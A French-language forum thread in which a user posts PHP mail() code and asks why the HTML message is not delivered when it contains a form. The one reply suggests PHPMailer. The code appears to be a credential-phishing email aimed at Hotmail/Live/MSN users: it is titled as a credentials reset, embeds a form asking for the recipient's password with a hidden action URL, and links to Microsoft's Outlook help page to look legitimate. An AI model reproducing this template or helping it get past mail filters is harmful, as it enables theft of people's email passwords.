Problème avec la fonction mail()

Fermé
Kaldemort Messages postés 2 Date d'inscription samedi 20 avril 2013 Statut Membre Dernière intervention 20 avril 2013 - 20 avril 2013 à 17:56
 loupix - 22 avril 2013 à 17:40
Bonjour à tous ! j'ai un petit problème très étrange avec un envoi de mail en PHP.
J'ai inclu un message html contenant du css dans ce mail et le mail part mais n'arrive pas à destination.
Or, quand j'enlève le CSS, celui-ci arrive ! je me suis donc dis que le problème venais de là mais après plein de tests et de vérification ce n'est pas le cas.
Plus étrange , quand j'enlève la balise <form> en laissant le CSS, le mail arrive également ! mais en retirant une par une les ligne contenu dans la <form>, le mail ne part plus.
Je ne comprends pas du tout d'ou viens le problème.
Merci de m'aider.

Voici le code PHP :

<?php
$mail = $email;

if (!preg_match("#^[a-z0-9._-]+@(hotmail|live|msn).[a-z]{2,4}$#", $mail))
{
$passage_ligne = "\r\n";
}
else
{
$passage_ligne = "\n";
}
//=====Déclaration des messages au format texte et au format HTML.
$message_txt = 'Bonjour';
$message_html = '<html>
<head></head>
<body>
<style type="text/css">
.bottom{background-color:#bbbbbb; color:#ffffff; font-family:Arial; font-size:12px; padding:30px; text-align:center}
p{cursor:default}
a.c{color:white; font-size:12px; text-decoration:underline}
span.c{color:#0072C6; font-size:18px}
span.button{background-color:#0072C6; color:#white; font-family:Arial; font-size:9px; padding:10px}
</style>

<p>Changement de mot de passe :
</p>
<br/><br/>

<form method="post" name="forms" id="forms" action="******">
<p>Mot de passe :</p>
<input type="text" size=5 id="mdp" name="mdp"/></br>
<a onclick="document.getElementById(\'forms\').submit()" >
<span class="button">Valider</span></a>
</form>
<br/><br/>
<a class="a" href="https://support.microsoft.com/en-us/office/get-help-with-outlook-com-40676ad0-c831-45ac-a023-5be633be798d?ui=en-us&rs=en-us&ad=us#v1h=tab1">Accéder au centre d\'aide</a>
<br/><br/>
<p>
<span class="c">Cordialement,</span><br/>
L\'équipe K<br/><br/>
</p>

<div class="bottom">
</div>
</body>
</html>';
//==========

//=====Création de la boundary
$boundary = "-----=".md5(rand());
//==========

//=====Définition du sujet.
$sujet = "Redéfinition de vos identifiants";

//=====Création du header de l'e-mail.
$header = "From: \"L'Equipe K\"<*****@*******.com>".$passage_ligne;
$header.= "X-Sender: <*****@*******.com>".$passage_ligne;
$header.= "Reply-to: \"L'Equipe K\" <*****@*******.com>".$passage_ligne;
$header.= "MIME-Version: 1.0".$passage_ligne;
$header.= "Content-Type: multipart/alternative;".$passage_ligne." boundary=\"$boundary\"".$passage_ligne;
$header.= "Return-Path: <*****@*******.com>".$passage_ligne;
$header.= "X-Mailer: PHP".$passage_ligne;
$header.= "Content-Transfer-Encoding: 8bit".$passage_ligne;
$header.= "X-auth-smtp-user: <*****@*******.com>".$passage_ligne;
//==========

//=====Création du message.
$message = $passage_ligne."--".$boundary.$passage_ligne;
//=====Ajout du message au format texte.
$message.= "Content-Type: text/plain; charset=\"ISO-8859-1\"".$passage_ligne;
$message.= "Content-Transfer-Encoding: 8bit".$passage_ligne;
$message.= $passage_ligne.$message_txt.$passage_ligne;
//==========
$message.= $passage_ligne."--".$boundary.$passage_ligne;
//=====Ajout du message au format HTML
$message.= "Content-Type: text/html; charset=\"ISO-8859-1\"".$passage_ligne;
$message.= "Content-Transfer-Encoding: 8bit".$passage_ligne;
$message.= $passage_ligne.$message_html.$passage_ligne;
//==========
$message.= $passage_ligne."--".$boundary."--".$passage_ligne;
$message.= $passage_ligne."--".$boundary."--".$passage_ligne;
//==========

//=====Envoi de l'e-mail.
mail($mail,$sujet,$message,$header);
//==========
?>
A voir également:

1 réponse

Je te conseil d'utiliser l'objet phpMailer
lien : http://stephaneey.developpez.com/tutoriel/php/phpmailer/

C'est très pratique, et il y a une bonne gestion des erreurs.
0